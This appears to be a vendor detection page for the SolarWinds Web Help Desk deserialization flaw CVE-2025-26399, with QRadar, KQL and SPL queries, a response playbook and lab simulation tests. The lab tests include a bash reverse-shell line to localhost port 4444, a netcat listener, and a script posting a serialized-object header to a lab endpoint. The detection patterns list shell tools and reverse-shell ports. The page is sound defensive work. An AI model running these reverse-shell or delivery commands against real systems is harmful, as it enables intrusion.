Detect SolarWinds Web Help Desk Deserialization of Untrusted Data (CVE-2025-26399) in IBM QRadar
CVE-2025-26399 is a deserialization of untrusted data vulnerability (CWE-502) in SolarWinds Web Help Desk. Exploitation allows remote attackers to execute arbitrary code by sending maliciously crafted serialized Java objects to the application. This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog, indicating active exploitation in the wild. SolarWinds Web Help Desk is widely deployed in enterprise and government environments for IT service management, making this a high-priority target for threat actors seeking privileged network access.
MITRE ATT&CK
- Tactic
- Initial Access Execution Persistence
QRadar Detection Query
SELECT
DATEFORMAT(devicetime, 'yyyy-MM-dd HH:mm:ss') AS event_time,
LOGSOURCENAME(logsourceid) AS log_source,
username,
sourceip,
destinationip,
destinationport,
"Process Name" AS process_name,
"Parent Process Name" AS parent_process_name,
"Command" AS command_line,
CATEGORYNAME(category) AS event_category
FROM events
WHERE
LOGSOURCETYPENAME(devicetype) IN ('Microsoft Windows Security Event Log', 'Sysmon')
AND (
(
LOWER("Parent Process Name") LIKE '%java.exe%'
AND (
LOWER("Process Name") LIKE '%cmd.exe%'
OR LOWER("Process Name") LIKE '%powershell.exe%'
OR LOWER("Process Name") LIKE '%wscript.exe%'
OR LOWER("Process Name") LIKE '%cscript.exe%'
OR LOWER("Process Name") LIKE '%mshta.exe%'
OR LOWER("Process Name") LIKE '%certutil.exe%'
)
AND (
LOWER("Parent Process Path") LIKE '%webhelpdesk%'
OR LOWER(HOSTNAME) LIKE '%whd%'
OR LOWER(HOSTNAME) LIKE '%helpdesk%'
)
)
OR (
LOGSOURCETYPENAME(devicetype) IN ('Cisco ASA', 'Palo Alto PA Series')
AND destinationport IN (4444, 9001, 1337, 8888)
AND LOWER(HOSTNAME) LIKE '%whd%'
)
)
LAST 24 HOURS QRadar AQL query detecting CVE-2025-26399 exploitation by searching for suspicious child processes spawned under the WHD Java runtime and outbound connections from WHD hosts to common reverse shell ports.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate Java-based automation on the WHD host that invokes cmd.exe or PowerShell for scripted tasks
- Security scanners executing from the WHD server that spawn subprocesses
- IT management platforms (e.g., SCCM) using Java runtimes and shell invocations
- Patching workflows that use Java-based utilities to launch installer subprocesses
Other platforms for CVE-2025-26399
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Java Deserialization Reverse Shell Spawn (Windows)
Expected signal: Sysmon Event ID 1: ProcessCreate with ParentImage=java.exe, Image=cmd.exe, CommandLine containing 'whoami'; DeviceProcessEvents in MDE showing same relationship
- Test 2Simulate WHD Java Process Network Beacon to C2 Port
Expected signal: Sysmon Event ID 3: NetworkConnect from java.exe to 127.0.0.1:4444; MDE DeviceNetworkEvents showing RemotePort=4444 from InitiatingProcessFileName=java.exe
- Test 3Simulate Malicious Class File Drop by WHD JVM (Linux)
Expected signal: Linux auditd or Sysmon-for-Linux: file creation event under /tmp owned by webhelpdesk user, initiated by java process; file content containing shell redirect syntax
- Test 4Reproduce Serialized Object HTTP POST to WHD Endpoint (Lab)
Expected signal: WAF/proxy logs showing HTTP POST with Content-Type: application/octet-stream and body beginning with AC ED 00 05; WHD application logs showing deserialization attempt (may log exception)
Response Playbook
Triage
- Confirm the affected host is running SolarWinds Web Help Desk and identify its version. Check if the version predates the WHD 12.8.7 Hotfix 1 patch (released per the official release notes). Unpatched instances are confirmed vulnerable.
- Review WHD application logs (typically under <WHD_INSTALL>/logs/) and Java runtime logs for unexpected deserialization stack traces, ClassNotFoundException errors for unknown classes, or references to exploit frameworks (e.g., ysoserial gadget chains such as CommonsCollections, Spring, Groovy).
- Correlate the timestamp of the first suspicious alert with web access logs (WHD HTTP access logs or upstream proxy/WAF logs) to identify the originating source IP, HTTP method, endpoint targeted, and payload size — large POST bodies to API or ticket-handling endpoints are a common delivery vector for deserialization payloads.
- Determine whether lateral movement has occurred: check for new user accounts created on the WHD host, scheduled tasks or services installed post-compromise, and outbound connections to external IPs initiated by the java.exe process.
- Check CISA KEV and threat intel feeds for known IOCs (IPs, file hashes) associated with active exploitation campaigns targeting CVE-2025-26399 and cross-reference with your environment's network telemetry.
Containment
- Isolate the affected WHD host from the network immediately if active exploitation is confirmed or strongly suspected — remove it from the production VLAN and block inbound/outbound traffic at the firewall/NAC layer. Preserve disk and memory images before isolation if forensic capture is feasible.
- Apply SolarWinds WHD 12.8.7 Hotfix 1 or the latest available patch to all WHD instances. If patching is not immediately possible, implement WAF rules to block HTTP requests with serialized Java object magic bytes (0xACED 0x0005) targeting WHD endpoints, and restrict access to the WHD management interface to trusted admin IP ranges only.
Evidence Collection
- Capture a full memory dump of the WHD Java process (e.g., using ProcDump on Windows: `procdump -ma <pid> whd_java.dmp`) to recover in-memory deserialization payloads, loaded malicious classes, and attacker shellcode before the process is terminated.
- Collect and preserve WHD application logs, Java stdout/stderr logs, Windows Security Event Logs (Event IDs 4688, 4624, 4625, 4672), Sysmon logs, and network flow/firewall logs spanning 48 hours before the first detection timestamp. Hash all collected artifacts and store to a write-protected evidence share.
Escalation Criteria
- !Escalate to incident response if post-exploitation activity is confirmed: new privileged user accounts, persistence mechanisms (scheduled tasks, services, registry run keys), or lateral movement indicators detected beyond the initial WHD host.
- !Escalate immediately if the WHD host has access to sensitive internal systems (Active Directory, financial systems, customer PII databases) and successful authentication or data access from the compromised host to those systems is detected in logs.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
WHD application logs at <WHD_INSTALL>/logs/application.log and whd.log — look for Java deserialization exceptions (e.g., java.io.InvalidClassException, ClassNotFoundException) and unexpected class instantiation - >
Windows Security Event Log Event ID 4688 (process creation) with ParentProcessName=java.exe spawning cmd.exe or powershell.exe - >
Sysmon Event ID 1 (process creation) and Event ID 3 (network connection) from java.exe PID associated with the WHD service - >
Java class cache artifacts: any .class files written to temp directories (e.g., %TEMP%, /tmp) by the WHD JVM after the compromise window - >
Network PCAP: HTTP POST requests to WHD endpoints containing binary content beginning with magic bytes AC ED 00 05 (Java serialized object header)
Tuning Guidance
Begin by baselining normal Java subprocess behavior on WHD hosts: identify any legitimate child processes (e.g., shell wrappers for integrations) and add them to an allowlist scoped by full command-line hash or path. Reduce false positives in network-based rules by whitelisting known SolarWinds update servers and monitoring SaaS endpoints. For process-based rules, consider requiring at least two corroborating signals (e.g., suspicious child process AND outbound connection, or child process AND new file write) before triggering a high-severity alert, to reduce alert fatigue in environments with complex Java-based tooling on the WHD host. Adjust hostname-matching patterns to reflect your actual WHD server naming conventions.
Hunting Queries
Hunt for any process spawned by WHD Java runtime across the environment, summarised by host and child process — reveals attacker reconnaissance and post-exploitation tooling even when individual events were not alerted on
DeviceProcessEvents
| where InitiatingProcessFileName =~ "java.exe"
| where InitiatingProcessCommandLine has_any ("WebHelpDesk", "whd", "helpdesk")
| where FileName in~ ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "mshta.exe", "certutil.exe", "net.exe", "net1.exe", "whoami.exe", "ipconfig.exe", "systeminfo.exe", "nltest.exe")
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), CommandLines=make_set(ProcessCommandLine), Count=count() by DeviceName, FileName, InitiatingProcessFileName
| sort by Count desc index=* sourcetype IN ("sysmon", "WinEventLog:Microsoft-Windows-Sysmon/Operational") EventCode=1
| eval whd_parent = if(match(lower(ParentImage), "java\.exe") AND (match(lower(ParentCommandLine), "webhelpdesk|whd") OR match(lower(Computer), "whd|helpdesk")), 1, 0)
| where whd_parent=1
| stats earliest(_time) AS first_seen, latest(_time) AS last_seen, values(CommandLine) AS command_lines, count AS event_count BY Computer, Image
| sort - event_count Hunt for unexpected outbound network connections from WHD Java processes to external IPs on non-standard ports — indicative of reverse shell, C2 beaconing, or data exfiltration post-exploitation
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "java.exe"
| where InitiatingProcessCommandLine has_any ("WebHelpDesk", "whd")
| where RemoteIPType != "Private"
| where RemotePort !in (80, 443, 8080, 8443)
| summarize Connections=count(), Ports=make_set(RemotePort), RemoteIPs=make_set(RemoteIP) by DeviceName, InitiatingProcessCommandLine
| sort by Connections desc index=* sourcetype IN ("sysmon", "WinEventLog:Microsoft-Windows-Sysmon/Operational") EventCode=3
| where match(lower(Image), "java\.exe") AND NOT match(DestinationIp, "^10\.|^172\.(1[6-9]|2[0-9]|3[01])\.|^192\.168\.")
| where DestinationPort NOT IN (80, 443, 8080, 8443)
| stats count BY SourceIp, DestinationIp, DestinationPort, Image
| sort - count Atomic Red Team Tests
Simulates the post-exploitation behavior of CVE-2025-26399 by having a Java process (mimicking the WHD JVM) spawn cmd.exe, as would occur when a deserialized gadget chain executes OS commands. Lab environment only.
Command
java -cp . -Dwhd.home=C:\WebHelpDesk -jar C:\atomictest\SimulateDeserialExec.jar "cmd.exe /c whoami > C:\Temp\whd_rce_test.txt" Cleanup
Remove-Item C:\Temp\whd_rce_test.txt -ErrorAction SilentlyContinue; Remove-Item C:\atomictest\SimulateDeserialExec.jar -ErrorAction SilentlyContinue Expected Telemetry
Sysmon Event ID 1: ProcessCreate with ParentImage=java.exe, Image=cmd.exe, CommandLine containing 'whoami'; DeviceProcessEvents in MDE showing same relationship
Expected Detection
KQL and SPL rules detecting java.exe spawning cmd.exe with WHD-related parent command line; CrowdStrike ProcessRollup2 event for the child cmd.exe
Simulates post-exploitation C2 beaconing by initiating a TCP connection from a Java process (named to resemble WHD) to a local listener on a common reverse shell port (4444). Lab environment only.
Command
Start-Job { nc -lvp 4444 }; java -Dwhd.home=C:\WebHelpDesk -cp . NetworkTest 127.0.0.1 4444 Cleanup
Stop-Job *; Get-Job | Remove-Job Expected Telemetry
Sysmon Event ID 3: NetworkConnect from java.exe to 127.0.0.1:4444; MDE DeviceNetworkEvents showing RemotePort=4444 from InitiatingProcessFileName=java.exe
Expected Detection
Network-based detection rules flagging WHD Java process connecting to port 4444; QRadar AQL and Chronicle YARA-L rules should trigger on the destination port with java.exe initiator
Simulates the artifact left by a deserialization exploit when a malicious gadget chain writes a payload class or shell script to disk. Mimics WHD JVM behavior on Linux deployments.
Command
sudo -u webhelpdesk java -Dwhd.home=/opt/WebHelpDesk -cp /opt/atomictest SimulateFileDrop /tmp/whd_payload_test.sh 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' Cleanup
rm -f /tmp/whd_payload_test.sh /tmp/whd_payload_test.class Expected Telemetry
Linux auditd or Sysmon-for-Linux: file creation event under /tmp owned by webhelpdesk user, initiated by java process; file content containing shell redirect syntax
Expected Detection
Elastic EQL and Chronicle rules detecting file write by java process outside the WHD installation directory; Sumo Logic and Splunk queries alerting on script file creation by java.exe equivalent
Sends a benign but syntactically valid Java serialized object (magic bytes AC ED 00 05) via HTTP POST to a WHD endpoint, simulating the delivery mechanism of CVE-2025-26399 without executing any payload. Requires a lab WHD instance.
Command
python3 -c "
import socket, struct
# Java serialized object magic bytes + version (benign, no gadget chain)
payload = b'\xac\xed\x00\x05' + b'\x74\x00\x04test'
import urllib.request, urllib.error
req = urllib.request.Request('http://whd-lab-host:8081/helpdesk/WebObjects/Helpdesk.woa/ws/SomeEndpoint', data=payload, method='POST')
req.add_header('Content-Type', 'application/octet-stream')
try:
urllib.request.urlopen(req, timeout=5)
except Exception as e:
print('Response/Error (expected):', e)
" Cleanup
No cleanup required — no files written, no persistence established Expected Telemetry
WAF/proxy logs showing HTTP POST with Content-Type: application/octet-stream and body beginning with AC ED 00 05; WHD application logs showing deserialization attempt (may log exception)
Expected Detection
WAF signature for Java serialized object magic bytes; network IDS/Suricata rule matching AC ED 00 05 in HTTP POST body; log-based detection in Splunk/Sentinel for WHD endpoint receiving binary payloads